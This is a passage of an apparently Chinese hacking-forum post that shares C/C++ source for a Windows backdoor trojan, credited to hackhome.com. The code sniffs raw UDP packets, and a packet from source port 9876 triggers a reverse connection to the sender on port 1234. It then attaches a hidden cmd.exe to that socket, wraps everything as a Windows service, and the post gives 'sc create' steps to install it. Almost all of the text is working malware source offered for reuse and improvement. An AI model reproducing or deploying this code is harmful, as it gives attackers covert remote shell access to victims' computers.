* (pIPheader->h_lenver & 0xf);if (iproto == IPPROTO_UDP){siSource.sin_addr.s_addr = pIPheader->sourceIP;strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);//printf("包类型:%s\n源IP:%s ","UDP",SourceIPAddr);DecodeUdpPack(buf+iIphlen,irec);}}void DecodeUdpPack(char *buf,unsigned int buflen){char str[10];UDP_HEADER *pUdpheader;pUdpheader=(UDP_HEADER *)buf;siSource.sin_port = pUdpheader->uh_sport;SourcePort=ntohs(siSource.sin_port);//这个地方就是判定是否启动进程的地方！！！！！！！！！！！！！！！！！！！//这里是 假如塬端口为9876 才会起动木马进程。。连接你的1234断口 这些都可以改//最好的方法是Decode UDP包。。然后分析内容。。。作判定是否打开木马。。。。//没时间了。。。。if(CanCon){if(SourcePort == 9876){StartBackDoor(&ReSock,SourceIPAddr);}CanCon=false;}}int msGetip(char *ipin, char* ipout){char cHostName[80]="";if((gethostname(cHostName, 80)) == SOCKET_ERROR)return false;struct hostent *Host = gethostbyname(cHostName);if(NULL!=Host){struct in_addr addr;int i = 0;while(Host->h_addr_list[i] != NULL){memcpy(&addr, Host->h_addr_list[i], sizeof(addr));if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else if(addr.S_un.S_un_b.s_b1 == 10 ){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else{if(strlen(ipout) == 0){strcpy(ipout, inet_ntoa(addr));}}i++;}if(strlen(ipout) == 0) {strcpy(ipout, ipin);}if(strlen(ipin) == 0){strcpy(ipin, ipout);}return 1;}return 0;}void StartBackDoor(SOCKET *Sock,char *IPaddr){int rec;//StartWSA();SetSocketHandle(Sock);rec = ContoReServer(Sock,1234,IPaddr);returnMessage(Sock,WelcomeBuff);CreatePipeInSock();switch(rec){case 0:closesocket(ReSock);CanCon = true;break;case 1:CanCon = false;break;}} 这就是服务的主体。。。。。。。 本来还有个自动加为服务的功能。。。没时间了，马上走了。收拾东西往。。~~~~ZV来写吧。。。。 可以用 CreateService()函数。。 服务这块需要大家来改进~~con.cpp代码#include "headerf.h"//---------------------------------------------------------------------------STARTUPINFO si;PROCESS_INFORMATION pi;SOCKET ReSock;//-------------------------------//---------------------------void StartWSA(){WSADATA wsa;WSAStartup(MAKEWORD(2,2),&wsa);}int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr){int namelen;struct sockaddr_in server_addr;server_addr.sin_family = AF_INET;server_addr.sin_port = htons(port);server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);namelen = sizeof(server_addr);if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )return 0;return 1;}int SetSocketHandle(SOCKET *Sock){*Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);if(*Sock == SOCKET_ERROR)return 0;return 1;}void returnMessage(SOCKET *Sock,char *msg){if (strlen(msg) <= 0)return;send(*Sock,msg,strlen(msg),0);}//下面这个是重订向si到Resock....即是一个简单的管道。。//没太多时间。为了省事。。能实现cmd.//最好能改写成管道CreatePipe()..//这样可以对数据进行分析。。以便加进别的控制。。。。。。void CreatePipeInSock(){memset(&si, 0, sizeof(si));si.cb = sizeof(si);si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;si.wShowWindow=SW_HIDE;si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, π );} backdoor.cpp代码#include "headerf.h"//---------------------------------------------------------------------------const int c_nEventCt = 3;const int c_nEventIndeXPause = 0;const int c_nEventIndexContinue = 1;const int c_nEventIndexStop = 2;HANDLE g_arEventControl[c_nEventCt];SERVICE_STATUS_HANDLE g_ssh;DWORD g_dwStatus = SERVICE_STOPPED;#pragma argsused//服务状态给SCMvoid SetStatus(DWORD dwStatus){SERVICE_STATUS ss ={SERVICE_WIN32_OWN_PROCESS,SERVICE_STOPPED,SERVICE_ACCEPT_PAUSE_CONTINUESERVICE_ACCEPT_STOP,NO_ERROR,0,1,5000};ss.dwCurrentState = dwStatus;SetServiceStatus(g_ssh,&ss);g_dwStatus = dwStatus;}//命令处理VOID __stdcall Handler(DWORD dwCtl){switch(dwCtl){case SERVICE_CONTROL_STOP:WSACleanup();break;default://nomalbreak;}}bool HandleControl(){bool bContinueRunning(true);DWORD dwWait = WaitForMultipleObjects(c_nEventCt,g_arEventControl,FALSE,0);int nIndex = dwWait - WAIT_OBJECT_0;if(nIndex>=0 && nIndex_nEventCt){ResetEvent(g_arEventControl[nIndex]);switch(nIndex){case c_nEventIndexPause:SetStatus(SERVICE_PAUSED);break;case c_nEventIndexContinue:SetStatus(SERVICE_RUNNING);break;case c_nEventIndexStop:SetStatus(SERVICE_STOP_PENDING);bContinueRunning = false;break;}}return (bContinueRunning);}VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv){g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);SetStatus(SERVICE_START_PENDING);SetStatus(SERVICE_RUNNING);while(HandleControl()){if(g_dwStatus == SERVICE_RUNNING){StartSniffer();}}for(int nEvent = 0;nEvent < c_nEventCt;++nEvent){CloseHandle(g_arEventControl[nEvent]);g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;}SetStatus(SERVICE_STOPPED);}int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpszCmdLine,int nCmdShow){SERVICE_TABLE_ENTRY arSvc[] ={{"ConEvent",ServiceMain},{NULL,NULL}};StartServiceCtrlDispatcher(arSvc);return 0;} 手动加为服务 编译好后 进进cmd 运行 sc create 随便一个名字 binpath= path 例子: sc create BackDoor binpath= c:\backdoor.exe 这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88 附件是我用bcb6写的。。。（出处：http://www.hackhome.com/）
